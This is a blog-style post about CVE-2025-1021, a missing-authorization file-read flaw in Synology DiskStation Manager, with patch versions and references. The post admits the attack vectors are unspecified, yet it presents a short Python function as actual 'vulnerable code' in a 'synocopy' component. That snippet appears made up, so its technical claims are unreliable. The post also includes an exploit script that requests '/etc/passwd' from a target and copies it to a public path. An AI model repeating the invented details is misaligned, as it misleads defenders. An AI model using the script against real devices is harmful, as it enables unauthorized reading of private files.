CVE-2025-1021: Missing Authorization Vulnerability in Synology DiskStation Manager - Using Synocopy Remote Exploit to Read Arbitrary Files

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Introduction

The missing authorization vulnerability CVE-2025-1021 concerns Synology DiskStation Manager (DSM), a popular web-based operating system that simplifies the management of Synology NAS devices. This vulnerability, found in versions prior to 7.1.1-42962-8, 7.2.1-69057-7, and 7.2.2-72806-3, allows remote attackers to read arbitrary files via unspecified vectors.

In this post, we will examine the significance of this vulnerability, the steps to mitigate the threat, and an exploit demonstration. We will also provide links to original references and resources for affected Synology DSM users.

CVE-2025-1021: Exploit Details & Code Snippet

The core of the CVE-2025-1021 vulnerability lies within the synocopy component of the Synology DSM, which is responsible for handling file management. The issue occurs when improper authorization mechanisms are implemented, allowing unauthorized users to access and potentially read arbitrary files on the system.

Here is a brief snippet of the vulnerable code from Synology DSM's synocopy component

def synocopy(src, dst):
    # No authentication or permissions check
    shutil.copyfile(src, dst)

This simple example demonstrates that synocopy is missing any type of authorization or permissions check. As a result, attackers may exploit this vulnerability to read any file they wish.

An exploit could potentially look like

import requests

TARGET = 'http://<target_ip_address>/path/to/vulnerable/synocopy';

payload = {
    'src': '/etc/passwd',
    'dst': '/public/exploit/passwd_copy'
}

response = requests.post(TARGET, data=payload)
print(response.status_code)

This script sends a request to a vulnerable Synology DSM system – specified by the TARGET variable – and attempts to read the /etc/passwd file from the server.

General Recommendations & Mitigation Steps

- Upgrade your Synology DSM to one of the following versions which includes patch: 7.1.1-42962-8, 7.2.1-69057-7, or 7.2.2-72806-3.

Original References

Synology Security Advisory: CVE-2025-1021

Synology Product Downloads: Synology DSM Download Center

Conclusion

In this post, we explored the missing authorization vulnerability (CVE-2025-1021) in Synology DiskStation Manager (DSM) and covered the potential impact on affected systems, an example of an exploit, and recommendations on mitigating the risk. It is crucial that Synology DSM users take the necessary steps to prevent unauthorized access and protect their data.

Timeline

Published on: 04/23/2025 03:15:22 UTC
Last modified on: 04/23/2025 14:08:13 UTC